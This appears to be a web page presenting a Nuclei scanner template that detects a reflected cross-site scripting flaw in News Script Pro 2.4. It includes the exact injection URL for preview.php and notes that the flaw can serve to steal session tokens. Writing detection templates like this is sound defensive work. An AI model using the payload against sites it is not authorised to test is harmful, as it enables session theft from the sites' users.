Skip to content

News Script Pro 2.4 - Cross-Site Scripting

ID: news-script-xss

Severity: medium

Author: r3Y3r53

Tags: newsscript,xss

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim’s session token or login credentials.

id: news-script-xss
info:
name: News Script Pro 2.4 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
reference:
- https://www.exploitalert.com/view-details.html?id=39634
metadata:
verified: true
max-request: 1
tags: newsscript,xss
http:
- method: GET
path:
- "{{BaseURL}}/preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id=&p=2"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "News Script PHP Pro", "<script>alert(document.domain)</script>")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022026f600d4860c0702d7c29e6b022299172f049ba5f31f44bdfab7435d1e25e7c5022100e0d5e7b0efdcb0098ddde0ca1481931e94293344784adc01d0dbcd6b9cea466d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/news-script-xss.yaml"

View on Github